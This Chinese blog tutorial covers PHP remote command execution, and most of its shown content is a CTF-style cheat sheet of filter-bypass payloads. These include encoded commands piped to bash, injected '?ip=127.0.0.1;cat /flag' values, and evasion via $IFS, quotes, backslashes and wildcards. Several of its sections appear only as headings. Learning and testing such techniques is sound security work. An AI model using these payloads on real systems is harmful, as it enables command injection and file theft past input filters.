0
点赞
收藏
分享

微信扫一扫

[ web 漏洞篇 ] 常见web漏洞总结之 RCE 远程代码 / 命令执行漏洞总结

慕容冲_a4b8 2022-01-13 阅读 176
前端sqlphp

目录

 🍬 博主介绍  

一、RCE 介绍

二、原理

三、防御

四、php能远程执行的函数

1. 命令执行的函数:

1. system:

2. exec:

3. shell_exec:

4. passthru:

5. popen()

6. proc_popen()

2. 代码执行的两个函数:

1.eval(PHP代码)

2.assert(PHP代码)

3.preg_replace

4.call_user_func()和array_map()

五、RCE 绕过技巧

1. str_replace()函数绕过方式:双写

2. 空格被过滤绕过方式:替代

3. 关键字过滤绕过方式:编码

1. URL编码绕过

2. Base 64 编码绕过

3. Hex编码绕过

4. Oct编码绕过:

4. 关键字过滤绕过方式:偶读拼接

5. 用 %0a 绕过命令连接符

6. 花括号{command,}的别样用法

7. 用内联执行绕过关键字过滤

8.用引号绕过关键字过滤

9. 用通配符绕过关键字过滤

10. 用反斜杠绕过关键字过滤

11. 用[]匹配绕过关键字过滤

六、专栏分享


一、RCE 介绍

二、原理

三、防御

四、php能远程执行的函数

1. 命令执行的函数:

1. system:

2. exec:

3. shell_exec:

4. passthru:

5. popen()

6. proc_popen()

2. 代码执行的两个函数:

1.eval(PHP代码)

2.assert(PHP代码)

3.preg_replace

4.call_user_func()和array_map()

五、RCE 绕过技巧

1. str_replace()函数绕过方式:双写

2. 空格被过滤绕过方式:替代

3. 关键字过滤绕过方式:编码

1. URL编码绕过

2. Base 64 编码绕过

echo MTIzCg==|base64 -d    其将会打印123         //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash      将执行了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh               将执行ls

3. Hex编码绕过

echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")         执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0       执行cat /flag

4. Oct编码绕过:

$(printf "\154\163")       执行ls

4. 关键字过滤绕过方式:偶读拼接

?ip=127.0.0.1;a=l;b=s;$a$b
?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;

5. 用 %0a 绕过命令连接符

?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat /flag

6. 花括号{command,}的别样用法

{ls,}

7. 用内联执行绕过关键字过滤

echo "a`pwd`"
?ip=127.0.0.1;cat$IFS$9`ls`

于此类似的还有$(command)

echo "abcd $(pwd)"

8.用引号绕过关键字过滤

ca""t  =>  cat
mo""re  =>  more  
in""dex  =>  index
ph""p  =>  php

9. 用通配符绕过关键字过滤

假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*

10. 用反斜杠绕过关键字过滤

ca\t  =>  cat
mo\re  =>  more  
in\dex  =>  index
ph\p  =>  php
n\l  =>  nl

11. 用[]匹配绕过关键字过滤

c[a]t  =>  cat
mo[r]e  =>  more  
in[d]ex  =>  index
p[h]p  =>  php

六、专栏分享

每个专栏都在持续更新中~~~

举报

相关推荐

0 条评论